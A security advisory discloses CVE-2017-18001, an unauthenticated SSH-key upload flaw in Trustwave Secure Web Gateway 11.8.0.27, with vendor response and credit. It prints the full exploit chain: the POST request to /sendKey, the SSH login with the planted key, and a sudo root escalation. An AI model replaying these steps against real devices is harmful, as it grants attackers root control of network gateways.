1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 |
## Vulnerability Summary The following advisory describes an unauthorized access vulnerability that allows an unauthenticated user to add their own SSH key to a remote Trustwave SWG version 11.8.0.27. Trustwave Secure Web Gateway (SWG) “provides distributed enterprises effective real-time protection against dynamic new malware, strong policy enforcement, and a unique Zero-Malware Guarantee when managed for you by our experts.” ## Credit An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program. ## Vendor response Trustwave was informed of the vulnerability, and released the following advisory: https://www.trustwave.com/Resources/Trustwave-Software-Updates/Important-Security-Update-for-Trustwave-Secure-Web-Gateway/ CVE: CVE-2017-18001 ## Vulnerability details Trustwave SWG allows remote attackers to send to the SWG product a SSH key that will be used by the SWG product as the SSH key to logon to the device. This allows unauthenticated user to send a POST request to /sendKey </code><code> POST /sendKey HTTP/1.1 Host: trustwave.device:5222 Content-Length: 558 content-type: multipart/form-data user-agent: libwww-perl/6.15 Connection: close --xYzZY Content-Disposition: form-data; name="publicKey"; filename="public_key_to_send" Content-Type: text/plain ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFxLGHCIST4jLDreJoQZnIZX6Fcx/ZyM1dzR2ZSwPG7UC3GYs61/cRGFvL9yuPZwIn8f/p9MCMoKHIG1gNZu0i7pqqZgB5vL+Dbf1vXl4PLY0wwcNMyVUBJaTSHdHSqe1KGBcM/1/gMsGpgcOJw2XMNubmXZxRSFSQLca1BsDmEyPF1KVpGfk60GtEH+c5E6ScEaTP7h0NcM6zEl9gubO2R+cq9FsPcMwF4bdsxyEZYGtVdS8B4goewEt1Nj+1hAzBWGox+hySee0QshZFAvZUrfcn4TsOd1iT95jAFoIDReQn781hmT6YQBpnl7HbDp6otyXAxrsvMOg1fvriAzHv rsyncuser aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa --xYzZY-- </code><code> Which will add the supplied ssh key to Trustwave SWG, which we can use it to login to the device: </code><code> /usr/bin/ssh -q -o PasswordAuthentication=no -o StrictHostKeyChecking=no -o ConnectTimeout=3 -o ServerAliveInterval=10 -i ./test.key commander@trustwave.device Last login: Fri Aug 25 9:01:23 2017 from x.x.x.x SWG Version : 11.8.0.27 SWG Maintenance Release : 0 Role: vs Machine Type: NG-6000 </code><code> If we will run the id command via ssh we will get the following response: </code><code> -sh-4.1$ id uid=1000(rsyncuser) gid=48(apache) groups=48(apache) </code><code> Once we connected to Trustwave SWG via SSH we can run commands as root by accessing /opt/finjan/msh/run_inside.py </code><code> # sudo /opt/finjan/msh/run_inside.py bash bash-4.1# id uid=0(root) gid=0(root) groups=0(root) </code><code> |